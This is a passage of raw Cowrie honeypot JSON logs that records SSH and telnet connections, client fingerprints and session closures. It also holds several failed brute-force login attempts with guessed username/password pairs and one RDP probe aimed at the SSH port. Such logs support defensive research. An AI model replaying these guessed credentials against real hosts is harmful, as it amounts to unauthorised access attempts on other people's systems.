mpCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:54.222605Z","src_ip":"80.94.92.182","session":"67c85ee15d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:55.240463Z","src_ip":"80.94.92.182","session":"67c85ee15d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:56.450286Z","src_ip":"80.94.92.182","session":"67c85ee15d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.85115599632263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:56.454429Z","src_ip":"209.126.87.217","session":"569c4433441b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37740,"dst_ip":"10.17.0.5","dst_port":23,"session":"191d91aaa0a2","protocol":"telnet","message":"New connection: 139.162.207.207:37740 (10.17.0.5:23) [session: 191d91aaa0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:57.320593Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4e2f013d32","protocol":"telnet","message":"New connection: 209.126.87.217:50878 (159.203.135.109:23) [session: 1f4e2f013d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:58.133116Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50882,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eae54ef5437","protocol":"telnet","message":"New connection: 209.126.87.217:50882 (159.203.135.109:23) [session: 6eae54ef5437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:59.451428Z"}
{"eventid":"cowrie.session.closed","duration":32.79271650314331,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:16:59.625339Z","src_ip":"209.126.87.217","session":"9519f26b859c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29609441757202,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:00.770483Z","src_ip":"209.126.87.217","session":"8868dd910fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92927384376526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.009445Z","src_ip":"209.126.87.217","session":"677034ce2ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91224408149719,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.231704Z","src_ip":"209.126.87.217","session":"06db189136a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.649449586868286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.354095Z","src_ip":"209.126.87.217","session":"161ffe51edf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46709,"dst_ip":"10.17.0.5","dst_port":22,"session":"7128df18af1d","protocol":"ssh","message":"New connection: 2.57.121.25:46709 (10.17.0.5:22) [session: 7128df18af1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.761057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.766793Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:02.870781Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"deathrow","message":"login attempt [user/deathrow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:03.359289Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dashka","message":"login attempt [user/dashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:04.466020Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"danil","message":"login attempt [user/danil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:05.572659Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51506,"dst_ip":"159.203.135.109","dst_port":23,"session":"46dca4c9843e","protocol":"telnet","message":"New connection: 209.126.87.217:51506 (159.203.135.109:23) [session: 46dca4c9843e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:05.751744Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"damned","message":"login attempt [user/damned] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:06.682626Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dakine","message":"login attempt [user/dakine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:07.822314Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54026,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c81484a3cfb","protocol":"telnet","message":"New connection: 139.162.207.207:54026 (10.17.0.5:23) [session: 4c81484a3cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:08.030226Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:08.928996Z","src_ip":"2.57.121.25","session":"7128df18af1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.32995557785034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:10.573703Z","src_ip":"209.126.87.217","session":"48d03f69e293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54036,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1993fed6840","protocol":"telnet","message":"New connection: 139.162.207.207:54036 (10.17.0.5:23) [session: d1993fed6840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:12.177860Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47952,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3724be789be","protocol":"telnet","message":"New connection: 209.126.87.217:47952 (159.203.135.109:23) [session: a3724be789be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:12.584003Z"}
{"eventid":"cowrie.session.closed","duration":30.39776873588562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:13.188951Z","src_ip":"194.195.116.65","session":"23a98d95a914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca1e7d26a8e","protocol":"telnet","message":"New connection: 160.119.76.63:48872 (159.203.135.109:23) [session: eca1e7d26a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:13.550519Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46742,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f6cc80171f1","protocol":"ssh","message":"New connection: 159.203.92.129:46742 (159.203.135.109:22) [session: 3f6cc80171f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:17.984950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:17.989617Z","src_ip":"159.203.92.129","session":"3f6cc80171f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:17.994632Z","src_ip":"159.203.92.129","session":"3f6cc80171f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Redmi@123","message":"login attempt [ansible/Redmi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:18.008545Z","src_ip":"159.203.92.129","session":"3f6cc80171f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.000122785568237,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:18.550525Z","src_ip":"160.119.76.63","session":"eca1e7d26a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"4793c9f37129","protocol":"telnet","message":"New connection: 209.126.87.217:47956 (159.203.135.109:23) [session: 4793c9f37129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:18.651650Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:19.034213Z","src_ip":"159.203.92.129","session":"3f6cc80171f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":35402,"dst_ip":"10.17.0.5","dst_port":23,"session":"008e94fcbd24","protocol":"telnet","message":"New connection: 90.195.245.185:35402 (10.17.0.5:23) [session: 008e94fcbd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:20.075903Z"}
{"eventid":"cowrie.session.closed","duration":32.107006549835205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:20.701473Z","src_ip":"209.126.87.217","session":"ad6b76cf9f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":35410,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c6190b78810","protocol":"telnet","message":"New connection: 90.195.245.185:35410 (10.17.0.5:23) [session: 8c6190b78810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:20.936772Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":46038,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e240da4d75","protocol":"ssh","message":"New connection: 125.31.2.160:46038 (10.17.0.5:22) [session: b4e240da4d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:20.950655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:21.431167Z","src_ip":"125.31.2.160","session":"b4e240da4d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53580,"dst_ip":"10.17.0.5","dst_port":23,"session":"09e3d9f414d1","protocol":"telnet","message":"New connection: 139.162.207.207:53580 (10.17.0.5:23) [session: 09e3d9f414d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:21.510828Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:21.645070Z","src_ip":"125.31.2.160","session":"b4e240da4d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31203556060791,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:21.839787Z","src_ip":"209.126.87.217","session":"9a591a587d73","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"root","message":"login attempt [erpnext/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:22.549172Z","src_ip":"125.31.2.160","session":"b4e240da4d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4815919399261475,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:22.557349Z","src_ip":"90.195.245.185","session":"008e94fcbd24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.637491464614868,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:23.574172Z","src_ip":"90.195.245.185","session":"8c6190b78810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:23.772102Z","src_ip":"125.31.2.160","session":"b4e240da4d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7285c2305ba","protocol":"telnet","message":"New connection: 90.195.245.185:33658 (10.17.0.5:23) [session: c7285c2305ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:26.706792Z"}
{"eventid":"cowrie.session.closed","duration":35.14206075668335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:27.411542Z","src_ip":"209.126.87.217","session":"0214f44a5ddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":60187,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd8cb0d61683","protocol":"ssh","message":"New connection: 103.149.252.223:60187 (159.203.135.109:22) [session: dd8cb0d61683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:27.507289Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:27.511900Z","src_ip":"103.149.252.223","session":"dd8cb0d61683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:27.515522Z","src_ip":"103.149.252.223","session":"dd8cb0d61683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.57995843887329,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:27.768528Z","src_ip":"139.162.207.207","session":"b7b932635f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":33674,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c004662a4c8","protocol":"telnet","message":"New connection: 90.195.245.185:33674 (10.17.0.5:23) [session: 0c004662a4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:28.041533Z"}
{"eventid":"cowrie.session.connect","src_ip":"90.195.245.185","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9fc93adaea","protocol":"telnet","message":"New connection: 90.195.245.185:33650 (10.17.0.5:23) [session: fa9fc93adaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:28.572828Z"}
{"eventid":"cowrie.session.closed","duration":0.004893779754638672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:28.577608Z","src_ip":"90.195.245.185","session":"fa9fc93adaea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.871793508529663,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:30.578491Z","src_ip":"90.195.245.185","session":"c7285c2305ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46765089035034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:30.600681Z","src_ip":"209.126.87.217","session":"1f4e2f013d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526873111724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:30.978193Z","src_ip":"209.126.87.217","session":"6eae54ef5437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":35116,"dst_ip":"159.203.135.109","dst_port":22,"session":"de94247aa3b9","protocol":"ssh","message":"New connection: 171.244.141.86:35116 (159.203.135.109:22) [session: de94247aa3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:31.319568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:31.324562Z","src_ip":"171.244.141.86","session":"de94247aa3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:31.575649Z","src_ip":"171.244.141.86","session":"de94247aa3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.620949268341064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:17:31.941428Z","src_ip":"139.162.207.207","session":"191d91aaa0a2","protocol":"telnet"}
